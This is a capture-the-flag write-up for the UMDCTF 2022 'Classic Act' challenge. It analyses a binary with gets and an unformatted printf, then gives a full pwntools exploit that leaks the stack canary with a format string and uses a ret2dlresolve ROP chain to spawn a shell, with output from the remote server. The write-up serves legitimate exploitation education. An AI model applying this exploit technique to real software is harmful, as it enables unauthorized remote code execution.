Tags: bof format-string pwn ret2dlresolve 

Rating:

UMDCTF 2022

Classic Act

Pwning your friends is a class act. So why not do it to some random server?

Author: WittsEnd2

0.cloud.chals.io 10058

classicact

Tags: pwn x86-64 bof ret2dlresolve format-string remote-shell

Summary

printf without a format-string + gets, basically makes this a choose your own adventure.

I solved this with ret2dlresolve. Read this and follow the links there if you want to learn more about ret2dlresolve.

The short of it is, use printf to leak the canary, then gets to overflow the buffer for a ROP chain that uses ret2dlresolve.

60 second solve.

Analysis

Checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

gets + Partial RELRO + No PIE = ret2dlresolve. We'll just have to take care of that canary first.

Ghidra Decompile

bool vuln(void)
{
  int iVar1;
  long in_FS_OFFSET;
  char local_68 [16];
  char local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Please enter your name!");
  gets(local_68);
  puts("Hello:");
  printf(local_68);
  putchar(10);
  puts("What would you like to do today?");
  gets(local_58);
  iVar1 = strncmp(local_58,"Play in UMDCTF!",0xf);
  if (iVar1 != 0) {
    puts("Good luck doing that!");
  }
  else {
    puts("You have come to the right place!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return iVar1 != 0;
}

The main vulnerability is gets, but there is a canary spoiling our fun; no worries, printf has no format string, so we can use it to leak the canary from the stack:

0x00007fffffffe2e0│+0x0000: 0x0000000000000000   ← $rsp
0x00007fffffffe2e8│+0x0008: 0x00007fff00000000
0x00007fffffffe2f0│+0x0010: 0x0000000068616c62 ("blah"?)     ← $rdi
0x00007fffffffe2f8│+0x0018: 0x0000000000000000
0x00007fffffffe300│+0x0020: 0x00007ffff7fad4a0  →  0x0000000000000000
0x00007fffffffe308│+0x0028: 0x00007ffff7e516bd  →  <_IO_file_setbuf+13> test rax, rax
0x00007fffffffe310│+0x0030: 0x00007ffff7fac6a0  →  0x00000000fbad2887
0x00007fffffffe318│+0x0038: 0x00007ffff7e47dbc  →  <setbuffer+204> test DWORD PTR [rbx], 0x8000
0x00007fffffffe320│+0x0040: 0x00000000000000c2
0x00007fffffffe328│+0x0048: 0x0000000000401340  →  <__libc_csu_init+0> endbr64
0x00007fffffffe330│+0x0050: 0x00007fffffffe350  →  0x00007fffffffe370  →  0x0000000000000000
0x00007fffffffe338│+0x0058: 0x0000000000401110  →  <_start+0> endbr64
0x00007fffffffe340│+0x0060: 0x00007fffffffe460  →  0x0000000000000001
0x00007fffffffe348│+0x0068: 0xd9d9ed67a31c1800
0x00007fffffffe350│+0x0070: 0x00007fffffffe370  →  0x0000000000000000    ← $rbp

This is the stack just before printf is called. The canary is just above the preserved base pointer ($rbp). You can verify this with canary:

gef➤  canary
[+] Found AT_RANDOM at 0x7fffffffe6c9, reading 8 bytes
[+] The canary of process 28661 is 0xd9d9ed67a31c1800

To compute the parameter to pass to printf:

gef➤  p/d 0x68 / 8 + 6
$1 = 19

The canary is 0x68 bytes from rsp (see stack dump above). Since this is a 64-bit system, just divide by 8 and add 6 (since the previous 5 parameters are in registers, Google for Linux x86_64 ABI or read the printf disassembly or some of my other format-string write ups for details on why 6).

The rest is cooker cutter ret2dlresolve.

Exploit

#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./classicact',checksec=False)

dl = Ret2dlresolvePayload(binary, symbol='system', args=['sh'])

rop = ROP(binary)
ret = rop.find_gadget(['ret'])[0]
rop.raw(ret)
rop.gets(dl.data_addr)
rop.ret2dlresolve(dl)

if args.REMOTE:
    p = remote('0.cloud.chals.io', 10058)
else:
    p = process(binary.path)

p.sendlineafter(b'name!\n',b'%19$p')
p.recvline()
canary = int(p.recvline().strip().decode(),16)
log.info('canary: {x}'.format(x = hex(canary)))

payload  = b''
payload += (0x58 - 0x10) * b'A'
payload += p64(canary)
payload += (0x58 - len(payload)) * b'B'
payload += rop.chain()
payload += b'\n'
payload += dl.payload

p.sendlineafter(b'today?\n',payload)
p.interactive()

Not a lot to explain here. Just create the ret2dlresolve payload, connect and leak the canary, then write out garbage with the canary inserted into the correct place followed by ret2dlresolve payload, and win!

If you do not understand (0x58 - 0x10) et al, read the decompile carefully or some of my other write ups. Or look at the stack. (it's just distance from local_58 (gets buffer) to local_10 (the canary)).

Output:

# ./exploit.py REMOTE=1
[*] Loaded 14 cached gadgets for './classicact'
[+] Opening connection to 0.cloud.chals.io on port 10058: Done
[*] canary: 0x5fc49ac400614c00
[*] Switching to interactive mode
Good luck doing that!
$ cat flag
UMDCTF{H3r3_W3_G0_AgAIn_an0thEr_RET2LIBC}

Or, is it?

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/umdctf2022/classicact).